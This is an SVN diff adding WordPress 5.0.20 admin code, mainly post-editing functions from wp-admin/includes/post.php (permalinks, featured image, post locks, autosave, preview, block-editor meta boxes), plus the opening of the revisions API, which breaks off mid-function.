+		$return .= '<span id="sample-permalink"><a href="' . esc_url( $view_link ) . '"' . $preview_target . '>' . $display_link . "</a></span>\n";
+		$return .= '&lrm;'; // Fix bi-directional text display defect in RTL languages.
+		$return .= '<span id="edit-slug-buttons"><button type="button" class="edit-slug button button-small hide-if-no-js" aria-label="' . __( 'Edit permalink' ) . '">' . __( 'Edit' ) . "</button></span>\n";
+		$return .= '<span id="editable-post-name-full">' . esc_html( $post_name ) . "</span>\n";
+	}
+
+	/**
+	 * Filters the sample permalink HTML markup.
+	 *
+	 * @since 2.9.0
+	 * @since 4.4.0 Added `$post` parameter.
+	 *
+	 * @param string  $return    Sample permalink HTML markup.
+	 * @param int     $post_id   Post ID.
+	 * @param string  $new_title New sample permalink title.
+	 * @param string  $new_slug  New sample permalink slug.
+	 * @param WP_Post $post      Post object.
+	 */
+	$return = apply_filters( 'get_sample_permalink_html', $return, $post->ID, $new_title, $new_slug, $post );
+
+	return $return;
+}
+
+/**
+ * Output HTML for the post thumbnail meta-box.
+ *
+ * @since 2.9.0
+ *
+ * @param int $thumbnail_id ID of the attachment used for thumbnail
+ * @param mixed $post The post ID or object associated with the thumbnail, defaults to global $post.
+ * @return string html
+ */
+function _wp_post_thumbnail_html( $thumbnail_id = null, $post = null ) {
+	$_wp_additional_image_sizes = wp_get_additional_image_sizes();
+
+	$post               = get_post( $post );
+	$post_type_object   = get_post_type_object( $post->post_type );
+	$set_thumbnail_link = '<p class="hide-if-no-js"><a href="%s" id="set-post-thumbnail"%s class="thickbox">%s</a></p>';
+	$upload_iframe_src  = get_upload_iframe_src( 'image', $post->ID );
+
+	$content = sprintf( $set_thumbnail_link,
+		esc_url( $upload_iframe_src ),
+		'', // Empty when there's no featured image set, `aria-describedby` attribute otherwise.
+		esc_html( $post_type_object->labels->set_featured_image )
+	);
+
+	if ( $thumbnail_id && get_post( $thumbnail_id ) ) {
+		$size = isset( $_wp_additional_image_sizes['post-thumbnail'] ) ? 'post-thumbnail' : array( 266, 266 );
+
+		/**
+		 * Filters the size used to display the post thumbnail image in the 'Featured Image' meta box.
+		 *
+		 * Note: When a theme adds 'post-thumbnail' support, a special 'post-thumbnail'
+		 * image size is registered, which differs from the 'thumbnail' image size
+		 * managed via the Settings > Media screen. See the `$size` parameter description
+		 * for more information on default values.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @param string|array $size         Post thumbnail image size to display in the meta box. Accepts any valid
+		 *                                   image size, or an array of width and height values in pixels (in that order).
+		 *                                   If the 'post-thumbnail' size is set, default is 'post-thumbnail'. Otherwise,
+		 *                                   default is an array with 266 as both the height and width values.
+		 * @param int          $thumbnail_id Post thumbnail attachment ID.
+		 * @param WP_Post      $post         The post object associated with the thumbnail.
+		 */
+		$size = apply_filters( 'admin_post_thumbnail_size', $size, $thumbnail_id, $post );
+
+		$thumbnail_html = wp_get_attachment_image( $thumbnail_id, $size );
+
+		if ( ! empty( $thumbnail_html ) ) {
+			$content = sprintf( $set_thumbnail_link,
+				esc_url( $upload_iframe_src ),
+				' aria-describedby="set-post-thumbnail-desc"',
+				$thumbnail_html
+			);
+			$content .= '<p class="hide-if-no-js howto" id="set-post-thumbnail-desc">' . __( 'Click the image to edit or update' ) . '</p>';
+			$content .= '<p class="hide-if-no-js"><a href="#" id="remove-post-thumbnail">' . esc_html( $post_type_object->labels->remove_featured_image ) . '</a></p>';
+		}
+	}
+
+	$content .= '<input type="hidden" id="_thumbnail_id" name="_thumbnail_id" value="' . esc_attr( $thumbnail_id ? $thumbnail_id : '-1' ) . '" />';
+
+	/**
+	 * Filters the admin post thumbnail HTML markup to return.
+	 *
+	 * @since 2.9.0
+	 * @since 3.5.0 Added the `$post_id` parameter.
+	 * @since 4.6.0 Added the `$thumbnail_id` parameter.
+	 *
+	 * @param string $content      Admin post thumbnail HTML markup.
+	 * @param int    $post_id      Post ID.
+	 * @param int    $thumbnail_id Thumbnail ID.
+	 */
+	return apply_filters( 'admin_post_thumbnail_html', $content, $post->ID, $thumbnail_id );
+}
+
+/**
+ * Check to see if the post is currently being edited by another user.
+ *
+ * @since 2.5.0
+ *
+ * @param int $post_id ID of the post to check for editing.
+ * @return int|false ID of the user with lock. False if the post does not exist, post is not locked,
+ *                   the user with lock does not exist, or the post is locked by current user.
+ */
+function wp_check_post_lock( $post_id ) {
+	if ( ! $post = get_post( $post_id ) ) {
+		return false;
+	}
+
+	if ( ! $lock = get_post_meta( $post->ID, '_edit_lock', true ) ) {
+		return false;
+	}
+
+	$lock = explode( ':', $lock );
+	$time = $lock[0];
+	$user = isset( $lock[1] ) ? $lock[1] : get_post_meta( $post->ID, '_edit_last', true );
+
+	if ( ! get_userdata( $user ) ) {
+		return false;
+	}
+
+	/** This filter is documented in wp-admin/includes/ajax-actions.php */
+	$time_window = apply_filters( 'wp_check_post_lock_window', 150 );
+
+	if ( $time && $time > time() - $time_window && $user != get_current_user_id() ) {
+		return $user;
+	}
+
+	return false;
+}
+
+/**
+ * Mark the post as currently being edited by the current user
+ *
+ * @since 2.5.0
+ *
+ * @param int $post_id ID of the post being edited.
+ * @return array|false Array of the lock time and user ID. False if the post does not exist, or
+ *                     there is no current user.
+ */
+function wp_set_post_lock( $post_id ) {
+	if ( ! $post = get_post( $post_id ) ) {
+		return false;
+	}
+
+	if ( 0 == ( $user_id = get_current_user_id() ) ) {
+		return false;
+	}
+
+	$now = time();
+	$lock = "$now:$user_id";
+
+	update_post_meta( $post->ID, '_edit_lock', $lock );
+
+	return array( $now, $user_id );
+}
+
+/**
+ * Outputs the HTML for the notice to say that someone else is editing or has taken over editing of this post.
+ *
+ * @since 2.8.5
+ * @return none
+ */
+function _admin_notice_post_locked() {
+	if ( ! $post = get_post() )
+		return;
+
+	$user = null;
+	if (  $user_id = wp_check_post_lock( $post->ID ) )
+		$user = get_userdata( $user_id );
+
+	if ( $user ) {
+
+		/**
+		 * Filters whether to show the post locked dialog.
+		 *
+		 * Returning a falsey value to the filter will short-circuit displaying the dialog.
+		 *
+		 * @since 3.6.0
+		 *
+		 * @param bool         $display Whether to display the dialog. Default true.
+		 * @param WP_Post      $post    Post object.
+		 * @param WP_User|bool $user    WP_User object on success, false otherwise.
+		 */
+		if ( ! apply_filters( 'show_post_locked_dialog', true, $post, $user ) )
+			return;
+
+		$locked = true;
+	} else {
+		$locked = false;
+	}
+
+	if ( $locked && ( $sendback = wp_get_referer() ) &&
+		false === strpos( $sendback, 'post.php' ) && false === strpos( $sendback, 'post-new.php' ) ) {
+
+		$sendback_text = __('Go back');
+	} else {
+		$sendback = admin_url( 'edit.php' );
+
+		if ( 'post' != $post->post_type )
+			$sendback = add_query_arg( 'post_type', $post->post_type, $sendback );
+
+		$sendback_text = get_post_type_object( $post->post_type )->labels->all_items;
+	}
+
+	$hidden = $locked ? '' : ' hidden';
+
+	?>
+	<div id="post-lock-dialog" class="notification-dialog-wrap<?php echo $hidden; ?>">
+	<div class="notification-dialog-background"></div>
+	<div class="notification-dialog">
+	<?php
+
+	if ( $locked ) {
+		$query_args = array();
+		if ( get_post_type_object( $post->post_type )->public ) {
+			if ( 'publish' == $post->post_status || $user->ID != $post->post_author ) {
+				// Latest content is in autosave
+				$nonce = wp_create_nonce( 'post_preview_' . $post->ID );
+				$query_args['preview_id'] = $post->ID;
+				$query_args['preview_nonce'] = $nonce;
+			}
+		}
+
+		$preview_link = get_preview_post_link( $post->ID, $query_args );
+
+		/**
+		 * Filters whether to allow the post lock to be overridden.
+		 *
+		 * Returning a falsey value to the filter will disable the ability
+		 * to override the post lock.
+		 *
+		 * @since 3.6.0
+		 *
+		 * @param bool    $override Whether to allow overriding post locks. Default true.
+		 * @param WP_Post $post     Post object.
+		 * @param WP_User $user     User object.
+		 */
+		$override = apply_filters( 'override_post_lock', true, $post, $user );
+		$tab_last = $override ? '' : ' wp-tab-last';
+
+		?>
+		<div class="post-locked-message">
+		<div class="post-locked-avatar"><?php echo get_avatar( $user->ID, 64 ); ?></div>
+		<p class="currently-editing wp-tab-first" tabindex="0">
+		<?php
+			if ( $override ) {
+				/* translators: %s: user's display name */
+				printf( __( '%s is already editing this post. Do you want to take over?' ), esc_html( $user->display_name ) );
+			} else {
+				/* translators: %s: user's display name */
+				printf( __( '%s is already editing this post.' ), esc_html( $user->display_name ) );
+			}
+		?>
+		</p>
+		<?php
+		/**
+		 * Fires inside the post locked dialog before the buttons are displayed.
+		 *
+		 * @since 3.6.0
+		 *
+		 * @param WP_Post $post Post object.
+		 */
+		do_action( 'post_locked_dialog', $post );
+		?>
+		<p>
+		<a class="button" href="<?php echo esc_url( $sendback ); ?>"><?php echo $sendback_text; ?></a>
+		<?php if ( $preview_link ) { ?>
+		<a class="button<?php echo $tab_last; ?>" href="<?php echo esc_url( $preview_link ); ?>"><?php _e('Preview'); ?></a>
+		<?php
+		}
+
+		// Allow plugins to prevent some users overriding the post lock
+		if ( $override ) {
+			?>
+			<a class="button button-primary wp-tab-last" href="<?php echo esc_url( add_query_arg( 'get-post-lock', '1', wp_nonce_url( get_edit_post_link( $post->ID, 'url' ), 'lock-post_' . $post->ID ) ) ); ?>"><?php _e('Take over'); ?></a>
+			<?php
+		}
+
+		?>
+		</p>
+		</div>
+		<?php
+	} else {
+		?>
+		<div class="post-taken-over">
+			<div class="post-locked-avatar"></div>
+			<p class="wp-tab-first" tabindex="0">
+			<span class="currently-editing"></span><br />
+			<span class="locked-saving hidden"><img src="<?php echo esc_url( admin_url( 'images/spinner-2x.gif' ) ); ?>" width="16" height="16" alt="" /> <?php _e( 'Saving revision&hellip;' ); ?></span>
+			<span class="locked-saved hidden"><?php _e('Your latest changes were saved as a revision.'); ?></span>
+			</p>
+			<?php
+			/**
+			 * Fires inside the dialog displayed when a user has lost the post lock.
+			 *
+			 * @since 3.6.0
+			 *
+			 * @param WP_Post $post Post object.
+			 */
+			do_action( 'post_lock_lost_dialog', $post );
+			?>
+			<p><a class="button button-primary wp-tab-last" href="<?php echo esc_url( $sendback ); ?>"><?php echo $sendback_text; ?></a></p>
+		</div>
+		<?php
+	}
+
+	?>
+	</div>
+	</div>
+	<?php
+}
+
+/**
+ * Creates autosave data for the specified post from $_POST data.
+ *
+ * @since 2.6.0
+ *
+ * @param mixed $post_data Associative array containing the post data or int post ID.
+ * @return mixed The autosave revision ID. WP_Error or 0 on error.
+ */
+function wp_create_post_autosave( $post_data ) {
+	if ( is_numeric( $post_data ) ) {
+		$post_id = $post_data;
+		$post_data = $_POST;
+	} else {
+		$post_id = (int) $post_data['post_ID'];
+	}
+
+	$post_data = _wp_translate_postdata( true, $post_data );
+	if ( is_wp_error( $post_data ) )
+		return $post_data;
+	$post_data = _wp_get_allowed_postdata( $post_data );
+
+	$post_author = get_current_user_id();
+
+	// Store one autosave per author. If there is already an autosave, overwrite it.
+	if ( $old_autosave = wp_get_post_autosave( $post_id, $post_author ) ) {
+		$new_autosave = _wp_post_revision_data( $post_data, true );
+		$new_autosave['ID'] = $old_autosave->ID;
+		$new_autosave['post_author'] = $post_author;
+
+		// If the new autosave has the same content as the post, delete the autosave.
+		$post = get_post( $post_id );
+		$autosave_is_different = false;
+		foreach ( array_intersect( array_keys( $new_autosave ), array_keys( _wp_post_revision_fields( $post ) ) ) as $field ) {
+			if ( normalize_whitespace( $new_autosave[ $field ] ) != normalize_whitespace( $post->$field ) ) {
+				$autosave_is_different = true;
+				break;
+			}
+		}
+
+		if ( ! $autosave_is_different ) {
+			wp_delete_post_revision( $old_autosave->ID );
+			return 0;
+		}
+
+		/**
+		 * Fires before an autosave is stored.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @param array $new_autosave Post array - the autosave that is about to be saved.
+		 */
+		do_action( 'wp_creating_autosave', $new_autosave );
+
+		return wp_update_post( $new_autosave );
+	}
+
+	// _wp_put_post_revision() expects unescaped.
+	$post_data = wp_unslash( $post_data );
+
+	// Otherwise create the new autosave as a special post revision
+	return _wp_put_post_revision( $post_data, true );
+}
+
+/**
+ * Saves a draft or manually autosaves for the purpose of showing a post preview.
+ *
+ * @since 2.7.0
+ *
+ * @return string URL to redirect to show the preview.
+ */
+function post_preview() {
+
+	$post_ID = (int) $_POST['post_ID'];
+	$_POST['ID'] = $post_ID;
+
+	if ( ! $post = get_post( $post_ID ) ) {
+		wp_die( __( 'Sorry, you are not allowed to edit this post.' ) );
+	}
+
+	if ( ! current_user_can( 'edit_post', $post->ID ) ) {
+		wp_die( __( 'Sorry, you are not allowed to edit this post.' ) );
+	}
+
+	$is_autosave = false;
+
+	if ( ! wp_check_post_lock( $post->ID ) && get_current_user_id() == $post->post_author && ( 'draft' == $post->post_status || 'auto-draft' == $post->post_status ) ) {
+		$saved_post_id = edit_post();
+	} else {
+		$is_autosave = true;
+
+		if ( isset( $_POST['post_status'] ) && 'auto-draft' == $_POST['post_status'] )
+			$_POST['post_status'] = 'draft';
+
+		$saved_post_id = wp_create_post_autosave( $post->ID );
+	}
+
+	if ( is_wp_error( $saved_post_id ) )
+		wp_die( $saved_post_id->get_error_message() );
+
+	$query_args = array();
+
+	if ( $is_autosave && $saved_post_id ) {
+		$query_args['preview_id'] = $post->ID;
+		$query_args['preview_nonce'] = wp_create_nonce( 'post_preview_' . $post->ID );
+
+		if ( isset( $_POST['post_format'] ) ) {
+			$query_args['post_format'] = empty( $_POST['post_format'] ) ? 'standard' : sanitize_key( $_POST['post_format'] );
+		}
+
+		if ( isset( $_POST['_thumbnail_id'] ) ) {
+			$query_args['_thumbnail_id'] = ( intval( $_POST['_thumbnail_id'] ) <= 0 ) ? '-1' : intval( $_POST['_thumbnail_id'] );
+		}
+	}
+
+	return get_preview_post_link( $post, $query_args );
+}
+
+/**
+ * Save a post submitted with XHR
+ *
+ * Intended for use with heartbeat and autosave.js
+ *
+ * @since 3.9.0
+ *
+ * @param array $post_data Associative array of the submitted post data.
+ * @return mixed The value 0 or WP_Error on failure. The saved post ID on success.
+ *               The ID can be the draft post_id or the autosave revision post_id.
+ */
+function wp_autosave( $post_data ) {
+	// Back-compat
+	if ( ! defined( 'DOING_AUTOSAVE' ) )
+		define( 'DOING_AUTOSAVE', true );
+
+	$post_id = (int) $post_data['post_id'];
+	$post_data['ID'] = $post_data['post_ID'] = $post_id;
+
+	if ( false === wp_verify_nonce( $post_data['_wpnonce'], 'update-post_' . $post_id ) ) {
+		return new WP_Error( 'invalid_nonce', __( 'Error while saving.' ) );
+	}
+
+	$post = get_post( $post_id );
+
+	if ( ! current_user_can( 'edit_post', $post->ID ) ) {
+		return new WP_Error( 'edit_posts', __( 'Sorry, you are not allowed to edit this item.' ) );
+	}
+
+	if ( 'auto-draft' == $post->post_status )
+		$post_data['post_status'] = 'draft';
+
+	if ( $post_data['post_type'] != 'page' && ! empty( $post_data['catslist'] ) )
+		$post_data['post_category'] = explode( ',', $post_data['catslist'] );
+
+	if ( ! wp_check_post_lock( $post->ID ) && get_current_user_id() == $post->post_author && ( 'auto-draft' == $post->post_status || 'draft' == $post->post_status ) ) {
+		// Drafts and auto-drafts are just overwritten by autosave for the same user if the post is not locked
+		return edit_post( wp_slash( $post_data ) );
+	} else {
+		// Non drafts or other users drafts are not overwritten. The autosave is stored in a special post revision for each user.
+		return wp_create_post_autosave( wp_slash( $post_data ) );
+	}
+}
+
+/**
+ * Redirect to previous page.
+ *
+ * @param int $post_id Optional. Post ID.
+ */
+function redirect_post($post_id = '') {
+	if ( isset($_POST['save']) || isset($_POST['publish']) ) {
+		$status = get_post_status( $post_id );
+
+		if ( isset( $_POST['publish'] ) ) {
+			switch ( $status ) {
+				case 'pending':
+					$message = 8;
+					break;
+				case 'future':
+					$message = 9;
+					break;
+				default:
+					$message = 6;
+			}
+		} else {
+			$message = 'draft' == $status ? 10 : 1;
+		}
+
+		$location = add_query_arg( 'message', $message, get_edit_post_link( $post_id, 'url' ) );
+	} elseif ( isset($_POST['addmeta']) && $_POST['addmeta'] ) {
+		$location = add_query_arg( 'message', 2, wp_get_referer() );
+		$location = explode('#', $location);
+		$location = $location[0] . '#postcustom';
+	} elseif ( isset($_POST['deletemeta']) && $_POST['deletemeta'] ) {
+		$location = add_query_arg( 'message', 3, wp_get_referer() );
+		$location = explode('#', $location);
+		$location = $location[0] . '#postcustom';
+	} else {
+		$location = add_query_arg( 'message', 4, get_edit_post_link( $post_id, 'url' ) );
+	}
+
+	/**
+	 * Filters the post redirect destination URL.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param string $location The destination URL.
+	 * @param int    $post_id  The post ID.
+	 */
+	wp_redirect( apply_filters( 'redirect_post_location', $location, $post_id ) );
+	exit;
+}
+
+/**
+ * Return whether the post can be edited in the block editor.
+ *
+ * @since 5.0.0
+ *
+ * @param int|WP_Post $post Post ID or WP_Post object.
+ * @return bool Whether the post can be edited in the block editor.
+ */
+function use_block_editor_for_post( $post ) {
+	$post = get_post( $post );
+
+	if ( ! $post ) {
+		return false;
+	}
+
+	// We're in the meta box loader, so don't use the block editor.
+	if ( isset( $_GET['meta-box-loader'] ) ) {
+		check_admin_referer( 'meta-box-loader' );
+		return false;
+	}
+
+	// The posts page can't be edited in the block editor.
+	if ( absint( get_option( 'page_for_posts' ) ) === $post->ID && empty( $post->post_content ) ) {
+		return false;
+	}
+
+	$use_block_editor = use_block_editor_for_post_type( $post->post_type );
+
+	/**
+	 * Filter whether a post is able to be edited in the block editor.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param bool    $use_block_editor Whether the post can be edited or not.
+	 * @param WP_Post $post             The post being checked.
+	 */
+	return apply_filters( 'use_block_editor_for_post', $use_block_editor, $post );
+}
+
+/**
+ * Return whether a post type is compatible with the block editor.
+ *
+ * The block editor depends on the REST API, and if the post type is not shown in the
+ * REST API, then it won't work with the block editor.
+ *
+ * @since 5.0.0
+ *
+ * @param string $post_type The post type.
+ * @return bool Whether the post type can be edited with the block editor.
+ */
+function use_block_editor_for_post_type( $post_type ) {
+	if ( ! post_type_exists( $post_type ) ) {
+		return false;
+	}
+
+	if ( ! post_type_supports( $post_type, 'editor' ) ) {
+		return false;
+	}
+
+	$post_type_object = get_post_type_object( $post_type );
+	if ( $post_type_object && ! $post_type_object->show_in_rest ) {
+		return false;
+	}
+
+	/**
+	 * Filter whether a post is able to be edited in the block editor.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param bool   $use_block_editor  Whether the post type can be edited or not. Default true.
+	 * @param string $post_type         The post type being checked.
+	 */
+	return apply_filters( 'use_block_editor_for_post_type', true, $post_type );
+}
+
+/**
+ * Returns all the block categories that will be shown in the block editor.
+ *
+ * @since 5.0.0
+ *
+ * @param WP_Post $post Post object.
+ * @return array Array of block categories.
+ */
+function get_block_categories( $post ) {
+	$default_categories = array(
+		array(
+			'slug'  => 'common',
+			'title' => __( 'Common Blocks' ),
+			'icon'  => null,
+		),
+		array(
+			'slug'  => 'formatting',
+			'title' => __( 'Formatting' ),
+			'icon'  => null,
+		),
+		array(
+			'slug'  => 'layout',
+			'title' => __( 'Layout Elements' ),
+			'icon'  => null,
+		),
+		array(
+			'slug'  => 'widgets',
+			'title' => __( 'Widgets' ),
+			'icon'  => null,
+		),
+		array(
+			'slug'  => 'embed',
+			'title' => __( 'Embeds' ),
+			'icon'  => null,
+		),
+		array(
+			'slug'  => 'reusable',
+			'title' => __( 'Reusable Blocks' ),
+			'icon'  => null,
+		),
+	);
+
+	/**
+	 * Filter the default array of block categories.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param array   $default_categories Array of block categories.
+	 * @param WP_Post $post               Post being loaded.
+	 */
+	return apply_filters( 'block_categories', $default_categories, $post );
+}
+
+/**
+ * Prepares server-registered blocks for the block editor.
+ *
+ * Returns an associative array of registered block data keyed by block name. Data includes properties
+ * of a block relevant for client registration.
+ *
+ * @since 5.0.0
+ *
+ * @return array An associative array of registered block data.
+ */
+function get_block_editor_server_block_settings() {
+	$block_registry = WP_Block_Type_Registry::get_instance();
+	$blocks         = array();
+	$keys_to_pick   = array( 'title', 'description', 'icon', 'category', 'keywords', 'supports', 'attributes' );
+
+	foreach ( $block_registry->get_all_registered() as $block_name => $block_type ) {
+		foreach ( $keys_to_pick as $key ) {
+			if ( ! isset( $block_type->{ $key } ) ) {
+				continue;
+			}
+
+			if ( ! isset( $blocks[ $block_name ] ) ) {
+				$blocks[ $block_name ] = array();
+			}
+
+			$blocks[ $block_name ][ $key ] = $block_type->{ $key };
+		}
+	}
+
+	return $blocks;
+}
+
+/**
+ * Renders the meta boxes forms.
+ *
+ * @since 5.0.0
+ */
+function the_block_editor_meta_boxes() {
+	global $post, $current_screen, $wp_meta_boxes;
+
+	// Handle meta box state.
+	$_original_meta_boxes = $wp_meta_boxes;
+
+	/**
+	 * Fires right before the meta boxes are rendered.
+	 *
+	 * This allows for the filtering of meta box data, that should already be
+	 * present by this point. Do not use as a means of adding meta box data.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param array $wp_meta_boxes Global meta box state.
+	 */
+	$wp_meta_boxes = apply_filters( 'filter_block_editor_meta_boxes', $wp_meta_boxes );
+	$locations     = array( 'side', 'normal', 'advanced' );
+	$priorities    = array( 'high', 'sorted', 'core', 'default', 'low' );
+
+	// Render meta boxes.
+	?>
+	<form class="metabox-base-form">
+	<?php the_block_editor_meta_box_post_form_hidden_fields( $post ); ?>
+	</form>
+	<form id="toggle-custom-fields-form" method="post" action="<?php echo esc_attr( admin_url( 'post.php' ) ); ?>">
+		<?php wp_nonce_field( 'toggle-custom-fields' ); ?>
+		<input type="hidden" name="action" value="toggle-custom-fields" />
+	</form>
+	<?php foreach ( $locations as $location ) : ?>
+		<form class="metabox-location-<?php echo esc_attr( $location ); ?>" onsubmit="return false;">
+			<div id="poststuff" class="sidebar-open">
+				<div id="postbox-container-2" class="postbox-container">
+					<?php
+					do_meta_boxes(
+						$current_screen,
+						$location,
+						$post
+					);
+					?>
+				</div>
+			</div>
+		</form>
+	<?php endforeach; ?>
+	<?php
+
+	$meta_boxes_per_location = array();
+	foreach ( $locations as $location ) {
+		$meta_boxes_per_location[ $location ] = array();
+
+		if ( ! isset( $wp_meta_boxes[ $current_screen->id ][ $location ] ) ) {
+			continue;
+		}
+
+		foreach ( $priorities as $priority ) {
+			if ( ! isset( $wp_meta_boxes[ $current_screen->id ][ $location ][ $priority ] ) ) {
+				continue;
+			}
+
+			$meta_boxes = (array) $wp_meta_boxes[ $current_screen->id ][ $location ][ $priority ];
+			foreach ( $meta_boxes as $meta_box ) {
+				if ( false == $meta_box || ! $meta_box['title'] ) {
+					continue;
+				}
+
+				// If a meta box is just here for back compat, don't show it in the block editor.
+				if ( isset( $meta_box['args']['__back_compat_meta_box'] ) && $meta_box['args']['__back_compat_meta_box'] ) {
+					continue;
+				}
+
+				$meta_boxes_per_location[ $location ][] = array(
+					'id'    => $meta_box['id'],
+					'title' => $meta_box['title'],
+				);
+			}
+		}
+	}
+
+	/**
+	 * Sadly we probably can not add this data directly into editor settings.
+	 *
+	 * Some meta boxes need admin_head to fire for meta box registry.
+	 * admin_head fires after admin_enqueue_scripts, which is where we create our
+	 * editor instance.
+	 */
+	$script = 'window._wpLoadBlockEditor.then( function() {
+		wp.data.dispatch( \'core/edit-post\' ).setAvailableMetaBoxesPerLocation( ' . wp_json_encode( $meta_boxes_per_location ) . ' );
+	} );';
+
+	wp_add_inline_script( 'wp-edit-post', $script );
+
+	/**
+	 * When `wp-edit-post` is output in the `<head>`, the inline script needs to be manually printed. Otherwise,
+	 * meta boxes will not display because inline scripts for `wp-edit-post` will not be printed again after this point.
+	 */
+	if ( wp_script_is( 'wp-edit-post', 'done' ) ) {
+		printf( "<script type='text/javascript'>\n%s\n</script>\n", trim( $script ) );
+	}
+
+	/**
+	 * If the 'postcustom' meta box is enabled, then we need to perform some
+	 * extra initialization on it.
+	 */
+	$enable_custom_fields = (bool) get_user_meta( get_current_user_id(), 'enable_custom_fields', true );
+	if ( $enable_custom_fields ) {
+		$script = "( function( $ ) {
+			if ( $('#postcustom').length ) {
+				$( '#the-list' ).wpList( {
+					addBefore: function( s ) {
+						s.data += '&post_id=$post->ID';
+						return s;
+					},
+					addAfter: function() {
+						$('table#list-table').show();
+					}
+				});
+			}
+		} )( jQuery );";
+ 		wp_enqueue_script( 'wp-lists' );
+		wp_add_inline_script( 'wp-lists', $script );
+	}
+
+	// Reset meta box data.
+	$wp_meta_boxes = $_original_meta_boxes;
+}
+
+/**
+ * Renders the hidden form required for the meta boxes form.
+ *
+ * @since 5.0.0
+ *
+ * @param WP_Post $post Current post object.
+ */
+function the_block_editor_meta_box_post_form_hidden_fields( $post ) {
+	$form_extra = '';
+	if ( 'auto-draft' === $post->post_status ) {
+		$form_extra .= "<input type='hidden' id='auto_draft' name='auto_draft' value='1' />";
+	}
+	$form_action  = 'editpost';
+	$nonce_action = 'update-post_' . $post->ID;
+	$form_extra  .= "<input type='hidden' id='post_ID' name='post_ID' value='" . esc_attr( $post->ID ) . "' />";
+	$referer      = wp_get_referer();
+	$current_user = wp_get_current_user();
+	$user_id      = $current_user->ID;
+	wp_nonce_field( $nonce_action );
+
+	/*
+	 * Some meta boxes hook into these actions to add hidden input fields in the classic post form. For backwards
+	 * compatibility, we can capture the output from these actions, and extract the hidden input fields.
+	 */
+	ob_start();
+	/** This filter is documented in wp-admin/edit-form-advanced.php */
+	do_action( 'edit_form_after_title', $post );
+	/** This filter is documented in wp-admin/edit-form-advanced.php */
+	do_action( 'edit_form_advanced', $post );
+	$classic_output = ob_get_clean();
+
+	$classic_elements = wp_html_split( $classic_output );
+	$hidden_inputs    = '';
+	foreach( $classic_elements as $element ) {
+		if ( 0 !== strpos( $element, '<input ') ) {
+			continue;
+		}
+
+		if ( preg_match( '/\stype=[\'"]hidden[\'"]\s/', $element ) ) {
+			echo $element;
+		}
+	}
+	?>
+	<input type="hidden" id="user-id" name="user_ID" value="<?php echo (int) $user_id; ?>" />
+	<input type="hidden" id="hiddenaction" name="action" value="<?php echo esc_attr( $form_action ); ?>" />
+	<input type="hidden" id="originalaction" name="originalaction" value="<?php echo esc_attr( $form_action ); ?>" />
+	<input type="hidden" id="post_type" name="post_type" value="<?php echo esc_attr( $post->post_type ); ?>" />
+	<input type="hidden" id="original_post_status" name="original_post_status" value="<?php echo esc_attr( $post->post_status ); ?>" />
+	<input type="hidden" id="referredby" name="referredby" value="<?php echo $referer ? esc_url( $referer ) : ''; ?>" />
+
+	<?php
+	if ( 'draft' !== get_post_status( $post ) ) {
+		wp_original_referer_field( true, 'previous' );
+	}
+	echo $form_extra;
+	wp_nonce_field( 'meta-box-order', 'meta-box-order-nonce', false );
+	wp_nonce_field( 'closedpostboxes', 'closedpostboxesnonce', false );
+	// Permalink title nonce.
+	wp_nonce_field( 'samplepermalink', 'samplepermalinknonce', false );
+
+	/**
+	 * Add hidden input fields to the meta box save form.
+	 *
+	 * Hook into this action to print `<input type="hidden" ... />` fields, which will be POSTed back to
+	 * the server when meta boxes are saved.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @params WP_Post $post The post that is being edited.
+	 */
+	do_action( 'block_editor_meta_box_hidden_fields', $post );
+}
Index: /tags/5.0.20/src/wp-admin/includes/revision.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/revision.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/revision.php	(revision 56912)
@@ -0,0 +1,403 @@
+<?php
+/**
+ * WordPress Administration Revisions API
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 3.6.0
+ */
+
+/**
+ * Get the revision UI diff.
+ *
+ * @since 3.6.0
+ *
+ * @param object|int $post         The post object. Also accepts a post ID.
+ * @param int        $compare_from The revision ID to compare from.
+ * @param int        $compare_to   The revision ID to come to.
+ *
+ * @return array|bool Associative array of a post's revisioned fields and their diffs.
+ *                    Or, false on failure.
+ */
+function wp_get_revision_ui_diff( $post, $compare_from, $compare_to ) {
+	if ( ! $post = get_post( $post ) )
+		return false;
+
+	if ( $compare_from ) {
+		if ( ! $compare_from = get_post( $compare_from ) )
+			return false;
+	} else {
+		// If we're dealing with the first revision...
+		$compare_from = false;
+	}
+
+	if ( ! $compare_to = get_post( $compare_to ) )
+		return false;
+
+	// If comparing revisions, make sure we're dealing with the right post parent.
+	// The parent post may be a 'revision' when revisions are disabled and we're looking at autosaves.
+	if ( $compare_from && $compare_from->post_parent !== $post->ID && $compare_from->ID !== $post->ID )
+		return false;
+	if ( $compare_to->post_parent !== $post->ID && $compare_to->ID !== $post->ID )
+		return false;
+
+	if ( $compare_from && strtotime( $compare_from->post_date_gmt ) > strtotime( $compare_to->post_date_gmt ) ) {
+		$temp = $compare_from;
+		$compare_from = $compare_to;
+		$compare_to = $temp;
+	}
+
+	// Add default title if title field is empty
+	if ( $compare_from && empty( $compare_from->post_title ) )
+		$compare_from->post_title = __( '(no title)' );
+	if ( empty( $compare_to->post_title ) )
+		$compare_to->post_title = __( '(no title)' );
+
+	$return = array();
+
+	foreach ( _wp_post_revision_fields( $post ) as $field => $name ) {
+		/**
+		 * Contextually filter a post revision field.
+		 *
+		 * The dynamic portion of the hook name, `$field`, corresponds to each of the post
+		 * fields of the revision object being iterated over in a foreach statement.
+		 *
+		 * @since 3.6.0
+		 *
+		 * @param string  $compare_from->$field The current revision field to compare to or from.
+		 * @param string  $field                The current revision field.
+		 * @param WP_Post $compare_from         The revision post object to compare to or from.
+		 * @param string  null                  The context of whether the current revision is the old
+		 *                                      or the new one. Values are 'to' or 'from'.
+		 */
+		$content_from = $compare_from ? apply_filters( "_wp_post_revision_field_{$field}", $compare_from->$field, $field, $compare_from, 'from' ) : '';
+
+		/** This filter is documented in wp-admin/includes/revision.php */
+		$content_to = apply_filters( "_wp_post_revision_field_{$field}", $compare_to->$field, $field, $compare_to, 'to' );
+
+		$args = array(
